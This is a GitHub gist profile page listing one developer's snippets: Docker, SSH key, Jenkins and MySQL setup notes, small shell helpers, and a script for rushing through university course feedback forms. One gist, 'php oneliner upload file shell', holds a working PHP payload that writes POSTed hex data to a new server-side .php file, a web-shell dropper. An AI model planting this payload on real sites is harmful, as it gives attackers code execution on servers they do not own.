Skip to content

Instantly share code, notes, and snippets.

View teebow1e's full-sized avatar
💖
learning something..

Trung Tran teebow1e

💖
learning something..
View GitHub Profile
@teebow1e
teebow1e / gist:d57046db54337661b422706762bab24b
Created February 1, 2024 17:42
empty busybox docker container for fun
FROM busybox
COPY ./socat /bin/socat
COPY ./hello /bin/helloworld
WORKDIR /
RUN ["/bin/rm", "/bin/sh"]
ENTRYPOINT ["/bin/socat", "TCP-LISTEN:1337,fork,reuseaddr,bind=0.0.0.0", "EXEC:'/bin/helloworld'"]
@teebow1e
teebow1e / ssh_setup.md
Last active June 30, 2025 06:24
Integrate SSH keys to GitHub for working with private repo (or personal access)

Get SSH key working

  1. Create a SSH key
ssh-keygen -t rsa -C "your_email@example.com"
# this is also okay
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
# maybe this (up to your preference)
ssh-keygen -t ed25519 -C "your_email@example.com"
@teebow1e
teebow1e / random.sh
Created February 16, 2024 11:52
create a 32-char random string (A-Za-z0-9)
cat /proc/sys/kernel/random/uuid | tr -d '-'
@teebow1e
teebow1e / sendHex.sh
Created April 2, 2024 09:16
send not printable (multi-line) data to a server
#!/bin/bash
hexString=$1
echo
echo
echo -n "$1" | xxd -r -p
echo
echo
echo -n "$hexString" | xxd -r -p | nc xx.xx.xx.xx yyyy
@teebow1e
teebow1e / guide.md
Last active July 24, 2024 18:30
[Project 1 - SoICT] Integrate Jenkins CI-CD with private Github Repository

Integrate Jenkins CI-CD with private Github Repository

This guide will be made text-only, I don't have any intention converting this into a video.

Warning

In order for any of these below methods to work, you MUST run your Jenkins instance on Linux.

Situation

You are doing a project with your partners, however, the official guide to Jenkins by HUST only supports public repository. How can I hide my code from other friends, who are trying to take some ideas from my code (they may copy my code LMAO)?

Step-by-step guide

@teebow1e
teebow1e / run.sh
Last active August 6, 2024 09:01
Run a Ubuntu machine from Docker for testing purpose
#!/bin/sh
sudo docker pull ubuntu && sudo docker run -it --name ubuntucont $(sudo docker images ubuntu -q) /bin/sh
@teebow1e
teebow1e / content.md
Last active April 25, 2024 13:15
php oneliner upload file shell

## PHP Upload a file Using base64-encoded content

base64_decode makes lengthy base64-blob to fail and corrupt the whole file.

PHP Upload file Using hex2bin

<?php isset($_POST['a']) && ($decoded_string = hex2bin($_POST['a'])) !== false && ($file_path = './' . 'hzhz' . '.php') && ($file = fopen($file_path, 'w')) && (fwrite($file, $decoded_string) !== false) ? fclose($file) && print('File created successfully: ' . basename($file_path)) : print('Error: Unable to decode hex string or create file.'); ?>

PHP Upload a file Using $_FILES

@teebow1e
teebow1e / mysql_adminer_docker.yml
Created June 1, 2024 16:22
mysql w/ adminer docker compose
version: '3.7'
services:
mysql_db_container:
image: mysql:latest
environment:
MYSQL_ROOT_PASSWORD: rootpassword
ports:
- 33069:3306
adminer_container:
image: adminer:latest
@teebow1e
teebow1e / a.sh
Created June 3, 2024 06:50
get some ip addr of specific region (free proxy IP)
#!/bin/bash
curl "https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&country=vn&proxy_format=protocolipport&format=text&timeout=20000" -s | sed -E 's#^(http|socks4|https|socks5)://##' | cut -d':' -f1
@teebow1e
teebow1e / script_v1.js
Last active July 29, 2024 17:13
[HUST] Quickly pass all HUST's course feedback form in ctt.hust.edu.vn
// How to use
// Open DevTools
// Paste this code
// The website will automatically redirect, wait until page loads, paste
// Keep doing until there is no more feedback form
// TODO: Auto redirect and run until detect finish msg
// Script V1: Mass choosing, result can be conflict
function runSurvey() {